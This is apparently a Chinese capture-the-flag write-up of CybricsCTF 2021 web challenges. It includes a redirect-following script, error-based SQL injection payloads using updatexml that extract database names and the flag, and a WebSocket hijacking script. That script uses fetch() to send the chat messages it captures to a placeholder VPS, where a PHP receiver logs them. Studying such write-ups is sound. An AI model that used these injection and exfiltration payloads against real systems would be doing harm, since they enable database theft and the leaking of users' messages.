R1gelX`Blog

22 object(s)
 

CybricsCTF2021

2021 CybricsCTF的几道web题wp


web - AD Network

根据提示flag在1337次重定向之后

于是可以写脚本来实现(重定向次数过多是无法访问的 requests库有30次的限制)

import requests
headers = {"User-Agent" : "User-Agent:Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0;"}
url = 'http://how.adnetwork-cybrics2021.ctf.su/win-discover-college-responsibility/important-fine-laugh-project-movie/race-about-hit-first'
total = 1337
index = 0
while True:
    res = requests.get(url=url,headers=headers,allow_redirects=False)
    index += 1
    print(format(index/total,'.5%'))
    try:
        url = res.headers['Location']
    except:
        print(res.text)
        break

之前加了代理跑一半就挂,然后发现其实不需要代理

屏幕截图 2021-07-25 201025

师傅直接用curl做的,学到了学到了

 curl --max-redirs -1 -L -vv http://adnetwork-cybrics2021.ctf.su/adnetwork

web2 annoucement

给了一个邮箱输入框,其功能是记录提交的邮箱以及提交的时间并且在三天之后返回,既然记录了数据,可以想到数据库,抓包测试一下。

发现post了两个参数 ,digest 和 email,digest是email的md5值,digest的值必须匹配才能成功注入。

根据实现的功能分析,很容易得出是insert的报错注入

首先测试库名,payload:

digest=e8c71f26467c75a191b05943a7bf4437&email=
'+or+updatexml(1,concat(0x7e,database()),1)+or+'

返回

Something went wrong during database insert: XPATH syntax error: '~announcement'

拿到库名 annoucement

再查表名,payload:

digest=912559a1136a9dd7c0753a0c83304a06&email=
'+or+updatexml(1,concat(0x7e,(select+group_concat(table_name)+from+information_schema.tables+where+table_schema=0x616e6e6f756e63656d656e74)),1)+or+'

返回

Something went wrong during database insert: XPATH syntax error: '~emails,logs'

猜测flag再logs里,查询列,payload:

digest=b96a2c446f8e4e7c2da8744de3585b68&email=
'+or+updatexml(1,concat(0x7e,(select+group_concat(column_name)+from+information_schema.columns+where+table_name=0x6c6f6773)),1)+or+'

返回

Something went wrong during database insert: XPATH syntax error: '~log'

拿flag,payload:

digest=825ee457065c2b52d4440e5663bc560b&email=
'+or+updatexml(1,concat(0x7e,(select+log+from+logs)),1)+or+'

flag:

Something went wrong during database insert: XPATH syntax error: '~cybrics{1N53r7_0ld_900d_5ql}'

ps:一种便捷的暴库名的方式
源于再测试的时候把updatexml 输入成了 updataxml ,调用一个不存在的函数时 会出现 FUNCTION database_name.function does not exist

利用 ' or x() or ' 成功爆出库名announcement

image-20210727133718647

后来查询资料时发现 在 wupco师傅 17年的博客里其实就已经提到这种方法 mysql注入可报错时爆表名、字段名、库名 – Wupco's Blog

Multicaht(复现)

题目描述如下

Multichat (Web, Medium, 285 pts)

Author: Alexander Menshchikov (@n0str)

Yet another chat-messenger with rooms support! Free to use. Convince the admin that its code is insecure.

Tip: Admin and tech support are members of a secret chat room. Tech support can ask admin to tell him the flag, to do that tech support writes him a message (in a chat): "Hey, i forgot the flag. Can you remind me?". Then admin will tell him the flag.

Multichat website

可以分析得出,应该是利用csrf去让 tech support 向 admin 发送一段消息 "Hey, i forgot the flag. Can you remind me?".
这里需要了解Websocket,websocket 是在html5中提供给客户端和服务端实时双向通信的技术。这里的在线聊天室就是基于websocket
在页面源码可以看到一个 5000端口的服务,是一个 提供技术支持的页面,支持提交URL。

接下来看一下师傅做题时的payload

// index.php
<script>
var conn = new WebSocket("ws://multichat-cybrics2021.ctf.su/ws");
conn.onmessage = function (test) {
    fetch("http://vps_ip:vps_port/s.php?a="+test.data)
}
conn.onopen = function (test) {
    conn.send("Hey, i forgot the flag. Can you remind me?")
}
</script>

首先时 初始化了一个websocket会话,相当于利用技术支持的身份去创建了一个新的聊天室,即是 secret char room

然后 onmessage 是设置了一个当收到消息时触发的回调函数。

再用 onopen 是当链接状态处于ReadState为1时自动触发,于是满足题目条件,技术支持再 secret char room发送了相应语句

然后再s.php 接受

// s.php
<?php
file_put_contents('aaa.txt', $_GET['a'], FILE_APPEND);

将接收到的保存在aaa.txt 这里的 FILE_APPEND 目的是当目标文件已经存在的时候,在写入时变为追加而不是覆盖。

将文件放在自己的web服务下,提交相应的url到5000端口的技术支持的页面。